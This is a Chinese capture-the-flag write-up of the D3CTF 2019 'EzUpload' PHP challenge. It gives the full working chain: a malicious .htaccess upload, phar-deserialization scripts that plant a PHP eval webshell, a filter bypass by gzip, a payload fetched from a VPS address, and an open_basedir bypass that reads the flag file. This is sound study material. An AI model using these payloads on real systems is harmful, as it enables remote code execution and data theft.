[D3CTF 2019]EzUpload

news/2024/10/9 11:37:09/

最近做了一道比较有意思的反序列化的题目,一开始看他人的wp感觉有些云里雾里,把自己解题思路分享给大家,希望对师傅们能有所帮助。
源码如下

 <?phpclass dir{public $userdir;public $url;public $filename;public function __construct($url, $filename){$this->userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);$this->url = $url;$this->filename  =  $filename;if (!file_exists($this->userdir)) {mkdir($this->userdir, 0777, true);}}public function checkdir(){if ($this->userdir != "upload/" . md5($_SERVER["REMOTE_ADDR"])) {die('hacker!!!');}}public function checkurl(){$r = parse_url($this->url);if (!isset($r['scheme']) || preg_match("/file|php/i", $r['scheme'])) {die('hacker!!!');}}public function checkext(){if (stristr($this->filename, '..')) {die('hacker!!!');}if (stristr($this->filename, '/')) {die('hacker!!!');}$ext = substr($this->filename, strrpos($this->filename, ".") + 1);if (preg_match("/ph/i", $ext)) {die('hacker!!!');}}public function upload(){$this->checkdir();$this->checkurl();$this->checkext();$content = file_get_contents($this->url, NULL, NULL, 0, 2048);if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)) {die('hacker!!!');}file_put_contents($this->userdir . "/" . $this->filename, $content);}public function remove(){$this->checkdir();$this->checkext();if (file_exists($this->userdir . "/" . $this->filename)) {unlink($this->userdir . "/" . $this->filename);}}public function count($dir){if ($dir === '') {$num = count(scandir($this->userdir)) - 2;} else {$num = count(scandir($dir)) - 2;}if ($num > 0) {return "you have $num files";} else {return "you don't have file";}}public function __toString(){return implode(" ", scandir(__DIR__ . "/" . $this->userdir));}public function __destruct(){$string = "your file in : " . $this->userdir;file_put_contents($this->filename . ".txt", $string);echo $string;}}if (!isset($_POST['action']) || !isset($_POST['url']) || !isset($_POST['filename'])) {highlight_file(__FILE__);die();}$dir = new dir($_POST['url'], $_POST['filename']);if ($_POST['action'] === "upload") {$dir->upload();} elseif ($_POST['action'] === "remove") {$dir->remove();} elseif ($_POST['action'] === "count") {if (!isset($_POST['dir'])) {echo $dir->count('');} else {echo $dir->count($_POST['dir']);}}

代码提供了两个上传点和一个访问点。

public function upload(){//目录限制在upload/md(ip)下$this->checkdir();//url不能使用file、php协议$this->checkurl();//后缀名不允许存在php$this->checkext();// 唯一 一处读取,读取URL前2048个字节的数据$content = file_get_contents($this->url,NULL,NULL,0,2048);// 每次读取文件都会对其中内容进行检查if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)){die('hacker!!!');}file_put_contents($this->userdir."/".$this->filename,$content);
}public function __destruct() {$string = "your file in : ".$this->userdir;//向txt文件中写入数据file_put_contents($this->filename.".txt", $string);echo $string;
}

upload限制条件比较多,有:上传目录userdir限制在了相对目录upload/md5{IP}下且不可控;url可控但限制了协议不能使用file|php;限制了filename不能进行目录穿越,并且ext禁止出现ph;对文件内容采用了黑名单过滤。
__destruct()限制了文件后缀为txt,filename没有限制。

由于此题没有明确flag位置,我们既可以上传文件又能够获取文件位置,看来需要上传一句话木马进行查找。因此需要上传文件。但考虑到有限制,因此我们可以先上传.htaccess文件,将txt文件作为php文件执行,进而再上传一句话木马。
题目用到了多个魔术方法,并提供了文件上传和访问函数,因此联想到可以使用phar伪协议进行反序列化。

最后需要注意的是题目环境每10分钟重置一次,需要提前把payload都准备好,以免出现代码执行时404的情况。

上传.htaccess文件

先编写.htaccess文件
AddHandler php7-script .txt
再生成base64码
cat .htaccess | base64
QWRkSGFuZGxlciBwaHA3LXNjcmlwdCAudHh0Cg==
使用data协议上传进去

action=upload&filename=.htaccess&url=data:image/png;base64,QWRkSGFuZGxlciBwaHA3LXNjcmlwdCAudHh0Cg==

上传一句话木马

获取文件上传位置

上传一句话木马首先要获取到文件位置。在题目描述中提示,文件上传目录为/var/www/html/XXXX/upload/。
我们目前不知道文件位置,因此要先获取文件位置。

public function __toString() {// scandir扫描目录下的文件// implode将数组内容连接成字符串,用空格隔开return implode(" ",scandir(__DIR__."/".$this->userdir));
}
public function __destruct() {$string = "your file in : ".$this->userdir;//向txt文件中写入数据file_put_contents($this->filename.".txt", $string);echo $string;
}

在dir类中,__toString()对userdir目录进行了扫描,并返回了拼接后的结果。我们可以构造反序列化,使得this->userdir的值为dir实例,进而调用__toString方法,并在__destruct方法中通过echo将结果打印出来。
编写反序列化脚本

<?php//反序列化payload构造class dir {public $userdir;}$a = new dir();$b = new dir();$a->userdir = $b;//为了获取upload上一层目录$a->userdir->userdir = "../";echo urlencode(serialize($a));//实例一个phar对象供后续操作,后缀名必须为phar$phar = new Phar("getPath.phar"); //开始缓冲对phar的写操作 $phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>"); //将自定义的归档元数据meta-data存入manifest$phar->setMetadata($a);//phar本质上是个压缩包,所以要添加压缩的文件和文件内容$phar->addFromString("test.txt", "test"); //停止缓冲对phar的写操作$phar->stopBuffering();
?>

上传文件有两种方式,一是让upload访问vps服务器文件,二是利用data协议。

upload访问vps服务器

注意,upload会对文件后缀名检查,不允许存在ph,因此phar文件需要修改后缀
action=upload&filename=1.jpg&url=http://8.129.42.140:3307/1.jpg

利用data协议

代码没有禁用data协议,可以利用data:application/octet-stream;base64,xxxx
因此,要先获取文件的base64值cat filename | base64

IF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KsgAAAAEAAAARAAAAAQAAAAAAfAAAAE86MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6MzoiLi4vIjtzOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO31zOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO30IAAAAdGVzdC50eHQEAAAAxukYYgQAAAAMfn/YtgEAAAAAAAB0ZXN0qDhTSeoNvBdQain1UxHcJkEUz2wCAAAAR0JNQg==

用hackerbar

action=upload&filename=phar.txt&url=data:application/octet-stream;base64,IF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KsgAAAAEAAAARAAAAAQAAAAAAfAAAAE86MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6MzoiLi4vIjtzOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO31zOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO30IAAAAdGVzdC50eHQEAAAAxukYYgQAAAAMfn/YtgEAAAAAAAB0ZXN0qDhTSeoNvBdQain1UxHcJkEUz2wCAAAAR0JNQg==

![[Pasted image 20230628173358.png]]

再利用upload的file_get_content去反序列化提交的phar.txt

action=upload&filename=1&url=phar://upload/f9e1016a5cec370aae6a18d438dabfa5/phar.txt

![[Pasted image 20230628174219.png]]

获取到中间的文件名为3b3fff6463464959
也就是说,文件存放位置为/var/www/html/3b3fff6463464959/upload/f9e1016a5cec370aae6a18d438dabfa5/

上传一句话木马

上传方法1:通过vps直接传马
<?php
class dir
{public $userdir;public $url;public $filename;public function __construct(){// 注意要用单引号$this->userdir = '<?php eval($_POST[1]);?>';// 填写文件绝对路径和文件名(不要带后缀)$this->filename = "/var/www/html/7d37e3cbff8e2f56/upload/f9e1016a5cec370aae6a18d438dabfa5/shell";}
}
$dir = new dir();
$phar = new Phar('se.phar');
$phar->stopBuffering();
// 添加文件头,模拟为gif
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");
$phar->addFromString('test.txt', 'test');
$phar->setMetadata($dir);
$phar->stopBuffering();

由于黑名单会进行过滤,因此我们可以通过gzip压缩达到绕过的目的,phar协议支持一些压缩格式的phar包。gzip se.phar
修改文件名为se.jpg
让服务器访问vps,下载se.jpg
action=upload&filename=http://xxx.xxx.xxx.xx/se.jpg&filename=se.jpg
触发反序列化。生成test.txt
action=upload&filename=phar://upload/fdjkfjdkfjkdiofweu/2.jpg&filename=2

上传方法2:结合__toString__destruct__

先生成一个文件名包含命令,URL随便填一点,绕过检测

action=upload&filename=<?php eval($_GET[1]);.txt&url=data:image/png;base64,MQ==

然后构造反序列化文件
原理与获取文件上传位置相同,先调用__toString获取刚刚上传的文件名,将其作为字符串返回至__destruct__中。在__destruct__中将其作为内容写入filename文件中。

<?php
class dir{public $userdir;public $url;public $filename;
}
$dir = new dir();
$dir->userdir = new dir();
$dir->userdir->userdir = 'upload/f9e1016a5cec370aae6a18d438dabfa5/';
$dir -> filename = '/var/www/html/16a9298bcdf23042/upload/f9e1016a5cec370aae6a18d438dabfa5/webshell';
$phar = new Phar("step2.phar");
$phar->startBuffering();
$phar->setStub(" __HALT_COMPILER(); ");
$phar->setMetadata($dir);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

先上传序列化文件

action=upload&filename=step2.txt&url=data:application/octet-stream;base64,

再去反序列化

action=upload&filename=1&url=phar://upload/f9e1016a5cec370aae6a18d438dabfa5/step2.txt

绕过open_basedir

此处网上知识点较多,不再叙述

/upload/f9e1016a5cec370aae6a18d438dabfa5/webshell.txt?1=ini_set('open_basedir', '..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir', '/');var_dump(file_get_contents('/F1aG_1s_H4r4'));

http://www.ppmy.cn/news/679518.html

相关文章

emscripten的安装

参考&#xff1a;1.1 安装Emscripten-C/C面向WebAssembly编程 下载emsdk&#xff08;emscripten&#xff09;&#xff0c;git地址&#xff1a;git clone GitHub - emscripten-core/emsdk: Emscripten SDK打开emsdk中emsdk.bat所在的目录&#xff0c;进入cmd&#xff0c;输入 e…

雷蛇Ubuntu 无线网卡外接配置

综述 入手了一款顶配雷蛇灵刃&#xff08;虽然有些贵但是真的香啊&#xff09;。性能是真的到位。 后来因为研究需要&#xff0c;我们需要使用ubuntu系统。遗憾的是雷蛇配置了比较优秀的双频无线网卡&#xff0c;但是这个网卡对于Ubuntu16来说是无法使用的。找了很多软件包去…

学计算机的雷蛇与苹果,雷蛇做了什么让学霸苹果也抄袭他了

苹果总是以那种&#xff1a;永远被抄袭却从未被超越的姿态展示在世人面前&#xff0c;似乎苹果就是那种不作弊的学生&#xff0c;永远只有他被抄作业却从来没有抄袭别人。不过这种观点&#xff0c;笔者只能说图样图森破!你肯定没见过比苹果还优秀的学生。 最近网上曝出了苹果新…

4.32UDP通信实现 4.33广播 4.34组播 4.35本地套接字通信

4.32UDP通信实现 ![在这 udp_client.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <arpa/inet.h>int main() {// 1.创建一个通信的socketint fd socket(PF_INET, SOCK_DGRAM, 0);if(fd -1) {…

Spring Boot 中的 RabbitMQ 的消息接收配置是什么,原理,如何使用

Spring Boot 中的 RabbitMQ 的消息接收配置是什么&#xff0c;原理&#xff0c;如何使用 RabbitMQ 是一个流行的消息队列系统&#xff0c;它可以用于在应用程序之间传递消息。Spring Boot 提供了对 RabbitMQ 的支持&#xff0c;我们可以使用 Spring Boot 中的 RabbitMQ 消息接…

iPhone备忘录内容怎么发送给微信好友

备忘录作为重要记录工具,深受大多数人的喜爱。它简单易用,可以快速记录我们生活和工作中的重要事项,减轻记忆负担,避免遗忘。然而,当我们需要与好友或同事共享某些重要备忘内容时,iPhone原生的备忘录应用却无法直接将内容发送给微信联系人,这一点略显不便。 将iPhone备忘录的内…

5V升压8.4V1A,给双节锂电池充电芯片-PL7501

概述 泛海微PL7022/B 是一款基于 CMOS 的双节可充电锂电池保护电路&#xff0c;它集高精度过电压充电保护、过电压放电保护、过电流充电保护、过电流放电保护、电池短路保护等性能于一身。 正常状态下&#xff0c;泛海微PL7022/B 由电池供电。当两节电池电压&#xff08;VBAT…

5V升压充电12.6V锂电池方案

在日常生活当中&#xff0c;5V升压12.6V芯片有很多选型&#xff0c;但5V升压充电12.6三节充电管理IC市面相对要少&#xff0c;HU5913一款5V升双节锂电池7.4V充电管理芯片HU5913,芯片采用外置MOS管&#xff0c;通过电阻来设计充电电流的大小&#xff0c;可匹配市面所有的5V适配器…